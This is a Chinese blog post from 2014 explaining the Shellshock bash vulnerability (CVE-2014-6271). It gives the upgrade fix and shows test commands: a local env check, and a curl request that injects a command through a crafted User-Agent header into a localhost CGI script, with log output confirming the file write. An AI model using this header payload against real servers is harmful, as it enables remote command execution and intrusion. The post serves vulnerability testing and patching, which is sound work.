当前位置: 首页 >> Linux安全 >> 【安全】CVE-2014-6271 bash远程命令执行漏洞测试方法原理 >> 正文

【安全】CVE-2014-6271 bash远程命令执行漏洞测试方法原理

2014年09月28日 10:01:54    作者:Jiaozn    分类:Linux安全     评论(0)

爆出CVE-2014-6271 bash远程命令执行漏洞。bash是Linux用户广泛使用的一款用于控制命令提示符工具,导致该漏洞影响范围甚广。同时,当HTTP服务开放CGI服务或其他地方引用bash时可直接导致远程命令执行漏洞。主要影响系统为ubuntu centos debian suse readhat等主流linux操作系统。漏洞危害主要表现在:影响基于bash开放的服务、程序。当网站利用CGI执行bash后可导致攻击者远程执行系统命令,从而可以利用系统命令反弹shell之后进行内网渗透、挂马、篡改主页、脱库等行为。

  我们建议修复方式:升级bash,升级命令为:

  sudo apt-get update && sudo apt-get install --only-upgrade bash

  漏洞分析:

  Bash(Bourne Again SHell)中ENV指令

  1. ENV指令允许临时改变环境变量,即指定本次指令执行的环境变量,这从一定程度上给了黑客进行PATH Hajaking的可能性

  2. ENV指令还允许在设置环境变量后进行指令执行,从某种程度上来说,ENV相当于一个指令执行的指令,同时还附带有临时设置环境变量的功能

  ENV的指令执行走的是正常的BASH指令解析、执行流程,而在一个采取了安全配置的服务器上,对敏感指令的执行都是进行用户级别的权限限制的,所以,ENV本身并不是任意指令执行。真正导致命令任意执行的原因是"Code Injection",即代码注入

  1. httpd

  1) webserver常常将Referer、UserAgent、header等参数作为环境变量的设置源

  2) 服务器提供了CGI脚本,当 CGI script被webserver执行的时候,CGI Script会去调用Bash

  攻击者可以通过开启了CGI的httpd服务器进行远程代码执行。

  测试方法:

  本地测试

  root@kali:~# env x='() { :;}; echo dbapp' bash -c "echo this is a test"

  dbapp

  this is a test

1.jpg

  如果出现这个结果,则说明本机的bash存在漏洞

  httpd远程命令执行测试

  [root@host cgi-bin]# rm -fr /tmp/aa

  [root@host cgi-bin]# cat /var/www/cgi-bin/hi

  #!/bin/bash

  echo "Content-type: text/html"

  echo ""

  echo "dbapp"

  [root@host cgi-bin]# curl -k -H 'User-Agent: () { :;}; echo aa>/tmp/aa' https://localhost/cgi-bin/hi

  dbapp

  [root@host cgi-bin]# tail -n1 /var/log/httpd/ssl_access_log

  ::1 - - [24/Sep/2014:18:22:05 +0200] "GET /cgi-bin/hi HTTP/1.1" 200 4 "-" "() { :;}; echo aa>/tmp/aa"

  [root@host cgi-bin]# ls -l /tmp/aa

  -rw-r--r--. 1 apache apache 3 24 sept. 18:22 /tmp/aa

  [root@host cgi-bin]# sestatus

  SELinux status: enabled

除非注明,发表在“Jiaozn的博客”的文章『【安全】CVE-2014-6271 bash远程命令执行漏洞测试方法原理』版权归Jiaozn所有。 转载请注明出处为“本文转载于『Jiaozn的博客』原地址https://jiaozn.com/reed/36.html

评论

发表评论   

昵称*

E-mail*

网站